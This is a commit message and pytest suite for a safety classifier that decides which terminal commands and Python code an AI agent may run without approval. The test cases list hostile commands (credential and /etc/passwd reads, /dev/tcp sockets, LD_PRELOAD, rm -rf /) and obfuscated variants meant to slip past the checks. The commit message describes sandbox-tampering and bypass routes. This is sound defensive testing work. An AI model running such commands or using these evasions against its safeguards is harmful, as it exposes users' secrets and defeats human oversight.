fa4693685f
Runtime guard (sitecustomize):
- Keep the network guard active when a sandbox child deletes
UNSLOTH_STUDIO_SANDBOXED but still loads this shim from the sandbox_site dir
on PYTHONPATH. Bypass runs under bypass_site (guard short-circuits on
__name__), so an absent flag with sandbox_site loaded is tampering, not
bypass. Regression test spawns a real deleted-flag child.
Terminal startup-guard (hard block in _bash_exec):
- A here-doc piped into a consumer (cat <<'PY' | python) keeps the post-delimiter
pipeline so the body is scanned as that python's stdin program.
- Process substitution: recurse into <(...)/>(...) inner commands, and fail
closed when python reads its program from one (python <(printf ...)).
render_html network gate (auto-approve path):
- Module re-exports (export * from 'https://...', export {a} from '/mod.js')
are gated like static imports; relative specifiers stay static.
- A reassigned computed-key alias (var k='src'; img[k]=URL; var k='title') is
position-dependent, so it is dropped from the flat alias map and fails closed
on a network-looking assigned value.
Adds blocked + safe regression cases for each.
Not addressed: the spoofed-trusted-httpx-frame P1 (exec(compile(payload,
httpx.__file__,'exec'), httpx.__dict__)). Same same-interpreter forgeability
class already flagged for a below-the-Python-layer redesign; a frame check
keyed on caller-suppliable co_filename cannot close it robustly.
1967 lines
100 KiB
Python
1967 lines
100 KiB
Python
# SPDX-License-Identifier: AGPL-3.0-only
|
|
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
|
|
|
"""Tests for permission_mode ("Ask for approval" / "Approve for me" /
|
|
"Off" / "Full access") permission levels.
|
|
|
|
Covers the auto-mode safety classifier in tools.py and the loop-level
|
|
behavior of run_safetensors_tool_loop: in "auto" mode only calls detected
|
|
as potentially unsafe pause for confirmation, in "full" mode nothing
|
|
pauses and the sandbox is dropped, and unset/unknown modes behave as
|
|
"ask" (every call pauses when confirm_tool_calls is on).
|
|
"""
|
|
|
|
import os
|
|
import uuid
|
|
|
|
import pytest
|
|
|
|
from core.inference.mcp_client import MCP_TOOL_PREFIX
|
|
from core.inference.safetensors_agentic import run_safetensors_tool_loop
|
|
from core.inference.tools import is_potentially_unsafe_tool_call
|
|
from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
|
|
from state import tool_approvals
|
|
from state.tool_approvals import resolve_tool_decision
|
|
|
|
_SESSION = "perm-mode-session"
|
|
|
|
|
|
@pytest.fixture(autouse = True)
|
|
def _isolate_permission_mode_globals():
|
|
"""Keep the loop-driving tests hermetic against process-global state that
|
|
leaks across the full backend suite.
|
|
|
|
``run_safetensors_tool_loop`` reads a process-global approval registry
|
|
(``state.tool_approvals._pending``) and honors ``os.environ``. Other test
|
|
modules mutate both (module-level ``os.environ[...] = ...`` runs at import
|
|
time; abandoned approvals can survive a test). A stale entry keyed by the
|
|
shared session id, or a leaked env var, can make the loop deny or skip a
|
|
call that these tests expect to run, which only surfaces in the full-suite
|
|
ordering on CI (not when the file runs alone). Snapshot and restore both,
|
|
and hand every ``_drive`` call a unique session, so each test starts clean.
|
|
"""
|
|
env_snapshot = dict(os.environ)
|
|
with tool_approvals._lock:
|
|
pending_snapshot = dict(tool_approvals._pending)
|
|
tool_approvals._pending.clear()
|
|
try:
|
|
yield
|
|
finally:
|
|
with tool_approvals._lock:
|
|
tool_approvals._pending.clear()
|
|
tool_approvals._pending.update(pending_snapshot)
|
|
os.environ.clear()
|
|
os.environ.update(env_snapshot)
|
|
|
|
|
|
@pytest.fixture(autouse = True)
|
|
def _clear_pending():
|
|
with tool_approvals._lock:
|
|
tool_approvals._pending.clear()
|
|
yield
|
|
with tool_approvals._lock:
|
|
tool_approvals._pending.clear()
|
|
|
|
|
|
# ── classifier ──────────────────────────────────────────────────────
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("command", "unsafe"),
|
|
[
|
|
("ls -la", False),
|
|
("cat foo.txt | grep hello", False),
|
|
("find . -name '*.py' | head -5", False),
|
|
("env FOO=1 grep -r pattern .", False),
|
|
("echo hi > out.txt", True), # write redirection
|
|
("rm -rf /", True),
|
|
("ls; rm x", True), # unsafe after separator
|
|
("xargs rm", True), # xargs is not a safe wrapper: it injects stdin args
|
|
("xargs sort", True), # forwards to sort with unscanned stdin arguments
|
|
("echo -o out x | xargs sort", True), # hidden write via stdin-supplied args
|
|
("find . -name '*.py' | xargs grep foo", True), # xargs run stays gated
|
|
("ionice -c 3 -p 1234", True), # -p changes a running process's IO priority
|
|
("ionice -p 1", True),
|
|
("ionice -P 999", True), # -P targets a process group
|
|
("ionice -u 1000", True), # -u targets a user's processes
|
|
("ionice -c3 -p1234", True), # attached short flags still target a process
|
|
("ionice -c 3 ls", False), # a real wrapped command stays safe
|
|
("ionice -n 5 grep x .", False), # class-data flag then wrapped read stays safe
|
|
("sudo ls", True),
|
|
("git push origin main", True),
|
|
("pip install requests", True),
|
|
("echo `whoami`", True), # substitution fails closed
|
|
("python -c 'print(1)'", True), # arbitrary code
|
|
("find . -exec rm {} ;", True), # find can execute
|
|
("find . -delete", True), # find can delete
|
|
("fd -x rm", True), # fd runs a command per result
|
|
("fd --exec-batch rm", True),
|
|
("fd -e py pattern", False), # plain fd search stays read only
|
|
("sort -o out.txt in.txt", True), # -o writes a file
|
|
("sort --output=out in", True),
|
|
("sort --compress-program=sh big.txt", True), # runs an external program
|
|
("sort -T ./scratch large.txt", True), # -T writes temporaries to a chosen dir
|
|
("sort --temporary-directory=./s big.txt", True),
|
|
("sort in.txt", False), # plain sort stays read only
|
|
("rg --pre sh needle f.sh", True), # rg preprocessor runs a command
|
|
("rg --pre=/tmp/x needle .", True),
|
|
("rg --hostname-bin /tmp/x foo .", True),
|
|
("rg --pre-glob '*.txt' needle .", False), # glob filter stays read only
|
|
("rg needle .", False), # plain rg stays read only
|
|
("/tmp/cat secrets", True), # path-qualified command is an arbitrary binary
|
|
("./ls -la", True),
|
|
("env /tmp/cat x", True), # path-qualified target after a wrapper
|
|
("tree -o out.txt", True), # -o writes a file
|
|
("time -o /tmp/r ls", True), # GNU time -o truncates a file
|
|
("time --output=/tmp/r ls", True), # GNU time long output flag
|
|
("command time -o/tmp/result cat /dev/null", True), # attached, behind command
|
|
("time -a log.txt ls", True), # GNU time append flag
|
|
("time ls", False), # plain time wrapper stays safe
|
|
("time -p ls", False), # POSIX time -p (no file) stays safe
|
|
("xxd -r dump.hex out.bin", True), # -r can write
|
|
("xxd input.bin dump.hex", True), # 2nd positional is the outfile
|
|
("xxd -c 16 in.bin out.hex", True), # outfile past a numeric flag value
|
|
("xxd input.bin", False), # single positional reads to stdout
|
|
("xxd -c 16 input.bin", False), # flag value is not a second file
|
|
("xxd 42 99", True), # digit-named outfile positional still counts
|
|
("xxd -s 0x10 input.bin", False), # seek value is not a second file
|
|
("awk '{print}' file", True), # awk can system()/write
|
|
("grep -o x file", False), # grep -o is stdout only
|
|
("ls\nrm -rf x", True), # newline separates commands
|
|
("ls\r\nrm x", True), # CRLF separates commands
|
|
("ls\n\n\nrm x", True), # blank lines collapse to one separator
|
|
("ls\npwd", False), # multi-line stays safe when every line is
|
|
("ls\n", False),
|
|
("sort -o/tmp/out /tmp/in", True), # attached short output flag
|
|
("sort -uo out.txt in.txt", True), # -o bundled in a short cluster
|
|
("sort -bo out in", True),
|
|
("sort -u in.txt", False), # cluster without a write flag stays safe
|
|
("find . \\( -name x -delete \\)", True), # -delete inside a group
|
|
("cat ../../.ssh/id_rsa", True), # parent traversal read
|
|
("cat ~/.aws/credentials", True), # credential path
|
|
("cat /home/a/.azure/msal_token_cache.json", True), # azure token store
|
|
("cat ~/.config/gh/hosts.yml", True), # gh cli credentials
|
|
("cat ~/.config/app/settings.json", False), # ordinary config stays safe
|
|
("cat /home/alice/.cache/huggingface/token", True), # HF login token
|
|
("cat ~/.cache/huggingface/stored_tokens", True), # HF multi-token store
|
|
("cat /home/alice/.huggingface/token", True), # legacy HF token location
|
|
("cat /home/alice/myhuggingface/token", False), # unrelated dir stays safe
|
|
(
|
|
"cat /home/alice/.cache/huggingface/hub/models--x/config.json",
|
|
False,
|
|
), # HF model cache is not a credential
|
|
("cat /run/secrets/hf_token", True), # docker secret mount
|
|
("cat /var/run/secrets/kubernetes.io/serviceaccount/token", True), # k8s mount
|
|
("cat /run/app.pid", False), # ordinary /run file stays safe
|
|
("cat /etc/passwd", True), # sensitive system file
|
|
("cat /proc/self/environ", True), # procfs env dump
|
|
("cat /proc/1/cmdline", True),
|
|
("head /proc/self/maps", True),
|
|
("cat /proc/self/fd/3", True), # procfs fd symlink to an open file
|
|
("cat /proc/1234/task/1234/fd/3", True), # per-thread fd symlink
|
|
("LD_PRELOAD=/tmp/hook.so ls", True), # code-loading env prefix
|
|
("PATH=. ls", True), # command-lookup env prefix
|
|
("IFS=x ls", True),
|
|
("FOO=1 grep -r x .", False), # benign env prefix stays safe
|
|
("ps auxe", True), # ps can dump process env; not on the safe list
|
|
("ps aux", True),
|
|
("cd /; cat etc/passwd", True), # cd escapes the workdir
|
|
("cd subdir; ls", True), # cd is no longer auto-approved
|
|
("env --chdir=/ cat etc/passwd", True), # env -C escapes the workdir
|
|
("env -S 'sh -c id' true", True), # env --split-string builds a command
|
|
("env FOO=1 grep -r x .", False), # benign env wrapper stays safe
|
|
("cat /etc//passwd", True), # redundant slashes resolve to /etc/passwd
|
|
("cat /etc/./passwd", True),
|
|
("p=/etc; cat $p/passwd", True), # path split across an assignment
|
|
("d=/etc; cat ${d}/shadow", True),
|
|
("FOO=1 echo $FOO", False), # benign variable expansion stays safe
|
|
("cat /proc/$PPID/enviro''n", True), # quote-split procfs read
|
|
("cat /proc/self/'environ'", True),
|
|
('p="/proc/$PPID"; cat $p/environ', True), # quoted+nested var procfs
|
|
("LESSOPEN='|touch x; cat %s' less f.txt", True), # less input preprocessor
|
|
("less file.txt", True), # less pager escapes (+cmd, !shell, -o) so it asks
|
|
("less '+!touch pwned' notes.txt", True), # less +command runs a shell command
|
|
("more file.txt", True), # more shares the !shell pager escape
|
|
("cat /proc/cpuinfo", False), # non-sensitive procfs read stays safe
|
|
("cat /e??/passwd", True), # glob expands to /etc/passwd
|
|
("cat /e[t]c/passwd", True), # bracket class hides etc
|
|
("head /etc/shado?", True),
|
|
("cat /et\\c/passwd", True), # backslash escape hides /etc/passwd
|
|
("cat /etc/pass\\wd", True),
|
|
("ls *.py", False), # benign glob stays safe
|
|
("head data?.txt", False),
|
|
("grep -R TOKEN /home", True), # recursive search escapes the workdir
|
|
("rg TOKEN /", True),
|
|
("fd pattern /etc", True),
|
|
("grep -r foo src/", False), # sandbox-relative search stays safe
|
|
("rg TOKEN .", False),
|
|
("tree /home", True), # always-recursive walker escapes onto host files
|
|
("du /", True), # disk-usage walk of the whole host root
|
|
("du -sh /home", True), # summarized host-home walk still recurses
|
|
("ls -R /home", True), # ls recurses with -R onto host files
|
|
("ls -R /etc", True),
|
|
("ls -laR /", True), # -R inside a short cluster still recurses
|
|
("tree .", False), # cwd walk stays in the sandbox
|
|
("tree ./project", False), # relative walk stays safe
|
|
("du -sh", False), # du with no path defaults to cwd
|
|
("du -sh ./build", False), # relative disk-usage stays safe
|
|
("ls -R subdir", False), # relative recursive listing stays safe
|
|
("ls -la /home", False), # non-recursive listing of one level stays here
|
|
("sort --files0-from=list.txt", True), # reads an indirect file list
|
|
("sort --files0-from list.txt", True), # separate-value form
|
|
("sort -u data.txt", False), # ordinary sort stays read only
|
|
("wc --files0-from=list", True), # wc reads an indirect file list too
|
|
("wc --files0-from list", True),
|
|
("du --files0-from=list", True), # du indirect file list
|
|
("find -files0-from list", True), # find primary reading a file list
|
|
("wc file.txt", False), # ordinary wc stays read only
|
|
("wc -l data.txt", False), # counting flag stays read only
|
|
("cat logs/app.log", False), # ordinary relative read
|
|
("cat /r?n/secrets/hf_token", True), # glob into a secret mount
|
|
("cat /var/r?n/secrets/db", True),
|
|
("cat /root/.s??/id_rsa", True), # glob into a credential dir
|
|
("cat ~/.huggingface/tok?n", True), # glob resolves to a credential basename
|
|
("cat proj/.netr?", True), # glob resolves to .netrc anywhere
|
|
("cat repo/.aws/cred*", True), # glob resolves to credentials anywhere
|
|
("cat backup/id_rs?", True), # glob resolves to id_rsa anywhere
|
|
("cat .e?v", True), # glob resolves to a project .env secret
|
|
("cat proj/.en?", True), # .env anywhere via a glob
|
|
("cat notes/dra?t.txt", False), # benign globbed basename stays safe
|
|
("cat data/token_counts.tx?", False), # 'token' prefix basename stays safe
|
|
("ls /home/*/projects", False), # benign glob not into a cred dir
|
|
("grep -R TOKEN ~root", True), # tilde-user recursive root escapes
|
|
("grep -R TOKEN ~/logs", True), # tilde-home recursive root escapes
|
|
("cat /etc/pass{w,}d", True), # brace expansion builds /etc/passwd
|
|
("cat report{1,2}.txt", False), # benign brace stays safe
|
|
("cat /e{t,}c/pass?d", True), # brace-expanded candidate then a glob resolves it
|
|
("cat /et{c,}/pass?d", True), # brace + glob in the tail
|
|
("cat repo/d{1,2}/f?.txt", False), # benign brace + glob stays safe
|
|
("cat /etc/pass${x:-wd}", True), # default param expansion builds path
|
|
("cat /etc/pass${x:=wd}", True),
|
|
("echo ${x:-hello}", False), # benign default param stays safe
|
|
("cat </e??/passwd", True), # redirection prefix hides the glob
|
|
("cat <../../notes", True), # redirection with no space escapes workdir
|
|
("cat notes.txt", False), # ordinary read stays safe
|
|
("p=/; grep -R TOKEN $p", True), # recursive root hidden in an assignment
|
|
("p=/home; grep -R TOKEN $p", True),
|
|
("p=src; grep -R TOKEN $p", False), # relative assigned root stays safe
|
|
("cat /etc/pass{w..w}d", True), # sequence brace builds /etc/passwd
|
|
("cat /etc/pass{v..x}d", True), # sequence brace range spans passwd
|
|
("cat file{1..3}.txt", False), # benign sequence brace stays safe
|
|
("p=passwd; cat /etc/${p:0:6}", True), # substring expansion builds path
|
|
("p=hello; cat notes/${p:0:3}", False), # benign substring stays safe
|
|
("cat $'/etc/pass\\x77d'", True), # ANSI-C escape hides /etc/passwd
|
|
("cat $'notes.txt'", False), # benign ANSI-C quote stays safe
|
|
("cat /home/*/.az?re/msal_token_cache.json", True), # azure token glob
|
|
("cat /home/*/.config/g?/hosts.yml", True), # gh config glob
|
|
("cat /home/*/projects/readme", False), # benign home glob stays safe
|
|
("cat /proc/$PPID/task/$PPID/environ", True), # per-thread proc env alias
|
|
("cat /proc/cpuinfo", False), # non-sensitive proc read stays safe
|
|
("grep -R TOKEN ${root:-/home}", True), # default-param recursive root
|
|
("grep -R TOKEN ${root:-src}", False), # relative default root stays safe
|
|
("p=passXd; cat /etc/${p/X/w}", True), # pattern replacement builds path
|
|
("p=passXd; cat /etc/${p//X/w}", True), # global pattern replacement
|
|
("p=hello; cat notes/${p/l/L}", False), # benign replacement stays safe
|
|
("p=PASSWD; cat /etc/${p,,}", True), # case-lower expansion builds path
|
|
("p=hello; cat notes/${p,,}", False), # benign case expansion stays safe
|
|
("f=-delete; find . $f", True), # find action hidden behind an assignment
|
|
("g=e??; cat /$g/passwd", True), # glob assembled through an assignment
|
|
("g=abc; cat /$g/readme", False), # benign assigned path stays safe
|
|
("cat /etc/pass[[:lower:]]d", True), # POSIX class glob builds /etc/passwd
|
|
("x=passwd; p=x; cat /etc/${!p}", True), # indirect expansion builds path
|
|
("x=notes; p=x; cat /home/${!p}", False), # benign indirect expansion stays safe
|
|
("cat </dev/tcp/example.com/80", True), # bash /dev/tcp opens a socket
|
|
("cat < /dev/udp/1.2.3.4/53", True), # bash /dev/udp opens a socket
|
|
("cat /dev/null", False), # ordinary /dev file stays safe
|
|
("cat /etc/ssh/ssh_host_ed25519_key", True), # ssh host private key read
|
|
("cat /etc/ssh/sshd_config", True), # whole /etc/ssh dir is sensitive
|
|
("cat /etc/hostname", False), # non-key /etc read stays safe
|
|
("sort --out=/tmp/o in", True), # abbreviated --output writes a file
|
|
("env --ch=/ cat etc/passwd", True), # abbreviated --chdir escapes workdir
|
|
("sort --check in", False), # benign abbreviation-free long flag stays safe
|
|
("printf -v PATH %s .; ls", True), # printf -v rewrites PATH then runs ./ls
|
|
("printf 'hello %s' world", False), # ordinary printf stays safe
|
|
("fd --base-directory=/ passwd etc", True), # fd root move escapes workdir
|
|
("fd --search-path=/etc passwd", True), # fd search-path escapes workdir
|
|
("fd --base-dir=/ passwd etc", True), # abbreviated fd root flag too
|
|
("fd passwd", False), # in-workdir fd search stays safe
|
|
("uniq input.txt output.txt", True), # second positional is a written OUTPUT
|
|
("uniq -f 2 in out", True), # numeric flag value skipped, two file positionals
|
|
("uniq input.txt", False), # single positional reads to stdout, stays safe
|
|
("uniq 123 out.txt", True), # digit-named INPUT still leaves out.txt as the 2nd file
|
|
("uniq 123", False), # a single digit-named input reads to stdout, stays safe
|
|
("uniq --skip-fields=2 input.txt", False), # attached flag value, single file
|
|
("sort a.txt | uniq -c", False), # piped uniq with no output file stays safe
|
|
("hostname new-name", True), # a positional sets the hostname
|
|
("hostname -F /etc/hn", True), # -F/--file sets the hostname from a file
|
|
("hostname", False), # bare hostname reads
|
|
("hostname -f", False), # -f prints the FQDN, stays read-only
|
|
("hostname -I", False), # -I prints IPs, stays read-only
|
|
("date -s tomorrow", True), # -s sets the system clock
|
|
("date --set='2020-01-01'", True), # --set sets the clock
|
|
("date 010100002020", True), # a bare positional is the clock-setting form
|
|
("date", False), # bare date reads
|
|
("date +%Y-%m-%d", False), # a +FORMAT display token stays read-only
|
|
("date -u +%s", False), # -u display flag with a +FORMAT stays safe
|
|
("date -d tomorrow", False), # -d STRING only displays the given date
|
|
("date -d yesterday +%Y", False), # -d value skipped, +FORMAT display stays safe
|
|
("date -r file.txt", False), # -r FILE displays a file's mtime, read-only
|
|
("file -C -m mymagic", True), # file -C compiles a magic database (writes .mgc)
|
|
("file --compile -m mymagic", True), # long form of the compile flag
|
|
("file report.txt", False), # plain file identification stays read-only
|
|
("sha256sum -c manifest", True), # -c reads an arbitrary checklist of paths
|
|
("md5sum --check list", True), # --check reads the listed files
|
|
("shasum -c manifest", True), # shasum verify mode reads the checklist
|
|
("sha256sum data.bin", False), # hashing a named file stays read-only
|
|
("md5sum file.txt", False), # plain digest of a file stays read-only
|
|
],
|
|
)
|
|
def test_terminal_classifier(command, unsafe):
|
|
assert is_potentially_unsafe_tool_call("terminal", {"command": command}) is unsafe
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
("code", "unsafe"),
|
|
[
|
|
("print(1+1)", False),
|
|
("import math\nprint(math.pi)", False),
|
|
("print(open('x.txt').read())", False), # read-mode open
|
|
("open('x.txt', 'w').write('hi')", True),
|
|
("import shutil; shutil.rmtree('x')", True),
|
|
("import os; os.remove('x')", True),
|
|
("import requests", True), # network module
|
|
("exec('print(1)')", True),
|
|
("from os import remove\nremove('x')", True), # from-import binding
|
|
("from os import remove as rm\nrm('x')", True),
|
|
("from os import *", True), # star import hides anything
|
|
("import os\nprint(os.getcwd())", False), # read-only os use
|
|
("f = os.remove\nf('x')", True), # indirect reference
|
|
("import os\nrm = os.remove\nrm('x')", True), # alias assignment
|
|
("from pathlib import Path\nPath('x').open('w')", True), # Path.open mode
|
|
("from pathlib import Path\nprint(Path('x').open().read())", False),
|
|
("import zipfile\nprint(zipfile.ZipFile('a').open('n.txt'))", False),
|
|
("print(open('../../.ssh/id_rsa').read())", True), # traversal read
|
|
("print(open('creds.env').read())", True), # credential file
|
|
("import os\nos.open('data.txt', os.O_CREAT)", True), # os.open writes fd
|
|
("import tempfile\ntempfile.mkstemp()", True), # tempfile side effects
|
|
("getattr(os, 'remove')('x')", True), # dynamic call target
|
|
("import os as o\no.open('out.txt', o.O_CREAT)", True), # os.open via alias
|
|
("from os import open as o, O_CREAT\no('out', O_CREAT)", True), # os.open bare name
|
|
("from pathlib import Path\nPath('l').symlink_to('t')", True), # pathlib link
|
|
("import importlib\nimportlib.import_module('subprocess')", True), # dynamic import
|
|
("import os\nos.mkfifo('p')", True), # node creation
|
|
("import os\nos.utime('x', None)", True), # metadata mutation
|
|
("f = open\nf('x', 'w')", True), # builtin open aliased to a name
|
|
("from builtins import open as w\nw('x', 'w')", True),
|
|
("globals()['open']('x', 'w')", True), # dynamic open lookup
|
|
("import pickle\npickle.loads(b'')", True), # code exec on load
|
|
("import io\nio.FileIO('out', 'w')", True), # raw write handle
|
|
(
|
|
"import zipfile\nprint(zipfile.ZipFile('a').open('n.txt', 'r'))",
|
|
False,
|
|
), # explicit read mode
|
|
("f, _ = (open, print)\nf('out', 'w')", True), # destructured open alias
|
|
("import builtins\nbuiltins.exec('x=1')", True), # attribute exec
|
|
("import builtins as b\nb.eval('1')", True),
|
|
("import re\nre.compile('x')", False), # re.compile is not eval/exec
|
|
("import os\nopen(os.path.join('/etc', 'passwd')).read()", True), # composed path
|
|
("open('/etc' + '/passwd').read()", True), # concatenated path
|
|
("import zipfile\nzipfile.ZipFile('o.zip', 'w').writestr('x', 'y')", True), # zip write
|
|
("import zipfile\nzipfile.ZipFile('o.zip', mode='a')", True),
|
|
("import zipfile\nzipfile.ZipFile('a.zip').read('n')", False), # zip read stays safe
|
|
("import os\nopen(f'/proc/{os.getppid()}/environ').read()", True), # f-string procfs
|
|
("import os\nos.chdir('/')\nprint(open('etc/passwd').read())", True), # chdir escape
|
|
(
|
|
"from pathlib import Path\nprint((Path('/etc') / 'passwd').read_text())",
|
|
True,
|
|
), # pathlib /
|
|
(
|
|
"from pathlib import Path\nprint((Path('a') / 'b.txt').read_text())",
|
|
False,
|
|
), # relative stays safe
|
|
("import runpy\nrunpy.run_path('s.py')", True), # runpy runs code
|
|
("from runpy import run_module\nrun_module('m')", True),
|
|
("import os\nrm = getattr(os, 'remove')\nrm('f')", True), # getattr alias call
|
|
("x = getattr(obj, 'name')\nprint(x)", False), # getattr result not called
|
|
("__builtins__.exec('x=1')", True), # __builtins__ dynamic exec
|
|
("f = globals()['open']\nf('out', 'w')", True), # subscript alias write
|
|
(
|
|
"f = __builtins__.__dict__.get('open')\nf('out', 'w').write('x')",
|
|
True,
|
|
), # namespace .get lookup returns open
|
|
("g = globals().get('open')\ng('out', 'w')", True), # globals().get alias
|
|
("e = vars(__builtins__).get('eval')\ne('1')", True), # vars().get returns eval
|
|
("d = {}\nd.get('x')", False), # ordinary dict .get stays safe
|
|
(
|
|
"import os\nos.environ.get('PATH')",
|
|
False,
|
|
), # os.environ.get is not a dynamic namespace
|
|
(
|
|
"box.f = open\nbox.f('out.txt', 'w').write('x')",
|
|
True,
|
|
), # open bound onto an attribute then called
|
|
("box.f = len\nbox.f([])", False), # a benign attribute-bound callable stays safe
|
|
(
|
|
"open.__call__('out.txt', 'w').write('x')",
|
|
True,
|
|
), # open invoked via .__call__ still writes
|
|
("print.__call__('x')", False), # a benign .__call__ stays safe
|
|
("import builtins\nf = builtins.open\nf('out', 'w')", True), # attribute alias write
|
|
("open('out', **{'mode': 'w'}).write('x')", True), # kwargs splat mode
|
|
("name = 'passwd'\nopen(f'/etc/{name}').read()", True), # dynamic /etc segment
|
|
("import os\nopen(os.path.join('/etc', name)).read()", True), # composed dynamic seg
|
|
("open(f'/tmp/{name}.txt').read()", False), # dynamic seg under /tmp stays safe
|
|
("import pathlib\n(pathlib.Path('/etc') / name).read_text()", True), # qualified pathlib
|
|
("import pathlib\n(pathlib.Path('data') / name).read_text()", False), # relative stays safe
|
|
("f: object = open\nf('out', 'w').write('x')", True), # annotated open alias
|
|
("import urllib3\nurllib3.PoolManager().request('GET', 'http://x')", True), # network
|
|
("import dbm\ndbm.open('cache', 'c')", True), # dbm create flag writes
|
|
("import dbm\ndbm.open('cache')", True), # dbm import itself signals writes
|
|
(
|
|
"import sqlite3\nsqlite3.connect('results.db').execute('create table t(x)')",
|
|
True,
|
|
), # sqlite3 db write
|
|
("import sqlite3\nsqlite3.connect('data.db')", True), # sqlite3 connect creates the file
|
|
("import posix as p\np.open('out', 64)", True), # posix.open via module alias
|
|
("import os as o\nprint(o.getcwd())", False), # read-only os-alias use stays safe
|
|
("model.save_pretrained('out')", True), # transformers/peft persistence helper
|
|
(
|
|
"from safetensors.torch import save_file\nsave_file(sd, 'o.safetensors')",
|
|
True,
|
|
), # bare imported save_file writer
|
|
("st.save_file(sd, 'o.safetensors')", True), # safetensors save_file method
|
|
("print(model.state_dict())", False), # non-persisting call stays safe
|
|
(
|
|
"from pathlib import Path\nopen(next(Path('/etc').glob('passw?'))).read()",
|
|
True,
|
|
), # pathlib glob receiver+pattern resolves to /etc/passwd
|
|
(
|
|
"from pathlib import Path\nfor p in Path('/etc').iterdir():\n pass",
|
|
True,
|
|
), # enumerating an absolute system dir
|
|
("import os\nos.scandir('/etc')", True), # os.scandir over a sensitive root
|
|
("import os\nos.listdir('/home')", True), # os.listdir over a host dir
|
|
("import os\nlist(os.walk('/'))", True), # os.walk over the filesystem root
|
|
(
|
|
"from pathlib import Path\nlist(Path('.').iterdir())",
|
|
False,
|
|
), # relative dir enumeration stays safe
|
|
("import os\nos.scandir('data')", False), # relative scandir stays safe
|
|
("import os\nos.listdir('subdir')", False), # relative listdir stays safe
|
|
(
|
|
"from pathlib import Path\nfor f in Path('data').glob('*.py'):\n print(f)",
|
|
False,
|
|
), # benign pathlib glob stays safe
|
|
(
|
|
"from pathlib import Path\nlist(Path('/home').glob('*'))",
|
|
True,
|
|
), # globbing an absolute root enumerates host filenames
|
|
(
|
|
"from pathlib import Path\nlist(Path('/etc').rglob('*'))",
|
|
True,
|
|
), # recursive glob over a system dir
|
|
("import glob\nglob.glob('/home/*')", True), # glob.glob pattern rooted absolute
|
|
(
|
|
"from pathlib import Path\nlist(Path('~').expanduser().glob('*'))",
|
|
True,
|
|
), # glob over the home directory
|
|
("import glob\nglob.glob('src/*.py')", False), # relative glob pattern stays safe
|
|
(
|
|
"import os\nbase = os.path.abspath('/etc')\nopen(base + '/passwd').read()",
|
|
True,
|
|
), # abspath keeps the sensitive root
|
|
(
|
|
"from pathlib import Path\n(Path('/etc').resolve() / 'passwd').read_text()",
|
|
True,
|
|
), # Path.resolve keeps the sensitive root
|
|
(
|
|
"import os\nbase = os.path.abspath('data')\nopen(base + '/x.txt').read()",
|
|
False,
|
|
), # benign normalizer stays safe
|
|
("import torch\ntorch.load('model.pt')", True), # pickle-backed loader
|
|
("import joblib\njoblib.load('x.pkl')", True), # joblib loader
|
|
("import pandas as pd\npd.read_pickle('x.pkl')", True), # pandas pickle reader
|
|
("import json\nprint(json.load(open('x.json')))", False), # json.load stays safe
|
|
(
|
|
"import types\nc = compile('x=1', '', 'exec')\nf = types.FunctionType(c, globals())\nf()",
|
|
True,
|
|
), # compiled code wrapped into a callable
|
|
("cfg = d['k']\nprint(cfg)", False), # subscript result not called stays safe
|
|
("open('/etc/{}'.format('passwd')).read()", True), # str.format sensitive path
|
|
("open('/etc/{}'.format(name)).read()", True), # format dynamic /etc segment
|
|
("print('/tmp/{}'.format('a'))", False), # format under /tmp stays safe
|
|
("import numpy\nnumpy.save('x.npy', a)", True), # numpy writer method
|
|
("plt.savefig('f.png')", True), # matplotlib writer method
|
|
("df.to_csv('out.csv')", True), # pandas writer method
|
|
("img.save('o.png')", True), # PIL writer method
|
|
("import json\njson.dump(obj, f)", True), # serialization writer
|
|
("df.to_string()", False), # non-persisting render stays safe
|
|
("model.forward(x)", False), # ordinary method call stays safe
|
|
("open(''.join(['/etc', '/passwd'])).read()", True), # str.join sensitive path
|
|
("open('/'.join(['/etc', 'passwd'])).read()", True), # separator join
|
|
("print(''.join(['a', 'b']))", False), # benign join stays safe
|
|
("from builtins import eval as e\ne('1')", True), # aliased builtin eval
|
|
("import builtins\nx = builtins.exec\nx('a=1')", True), # attr-aliased exec
|
|
("from builtins import __import__ as imp\nimp('os')", True), # aliased __import__
|
|
("from mymod import evaluate as e\ne(1)", False), # unrelated alias stays safe
|
|
("base = '/etc'\nopen(base + '/passwd').read()", True), # literal-var path
|
|
("d = '/etc'\nopen(f'{d}/passwd').read()", True), # literal var in f-string
|
|
("base = 'data'\nopen(base + '/x.txt').read()", False), # benign literal var
|
|
("import numpy as np\nnp.array([1]).tofile('out.bin')", True), # numpy tofile
|
|
("arr.tolist()", False), # non-persisting numpy call stays safe
|
|
(
|
|
"from pathlib import Path\np = Path('/etc')\n(p / 'passwd').read_text()",
|
|
True,
|
|
), # pathlib path alias reused
|
|
(
|
|
"from pathlib import Path\np = Path('data')\n(p / 'x.txt').read_text()",
|
|
False,
|
|
), # relative path alias stays safe
|
|
("open('%s/%s' % ('/etc', 'passwd')).read()", True), # percent-format path
|
|
("open('/etc/%s' % name).read()", True), # percent-format dynamic segment
|
|
("open('%s/%s' % ('data', 'x.txt')).read()", False), # benign percent-format
|
|
("open('/etc/%(f)s' % {'f': 'passwd'}).read()", True), # mapping-style percent path
|
|
("open('/etc/%(f)s' % {'f': name}).read()", True), # mapping-style dynamic segment
|
|
("open('/etc/%(f)s' % mapping).read()", True), # non-literal mapping fails closed
|
|
("open('data/%(f)s' % {'f': 'x.txt'}).read()", False), # benign mapping-style stays safe
|
|
("import logging\nlogging.FileHandler('out.log', mode='w')", True), # log file writer
|
|
("import logging\nlogging.FileHandler('out.log')", True), # default append still writes
|
|
("from logging import FileHandler\nFileHandler('x.log')", True), # bare-name file handler
|
|
(
|
|
"import logging.handlers\nlogging.handlers.RotatingFileHandler('x.log')",
|
|
True,
|
|
), # rotating log file writer
|
|
("import logging\nlogging.getLogger('x').info('hi')", False), # logging read stays safe
|
|
("from numpy import save\ns = save\ns('out.npy', arr)", True), # writer aliased to a name
|
|
("from zipfile import ZipFile\nz = ZipFile\nz('a.zip', 'w')", True), # archive ctor aliased
|
|
("from numpy import save\ns, _ = (save, 1)\ns('o.npy', a)", True), # writer destructured
|
|
("x = len\nx('hi')", False), # a benign builtin alias stays safe
|
|
("import asyncio\nasyncio.create_subprocess_shell('rm -rf /')", True), # asyncio spawn
|
|
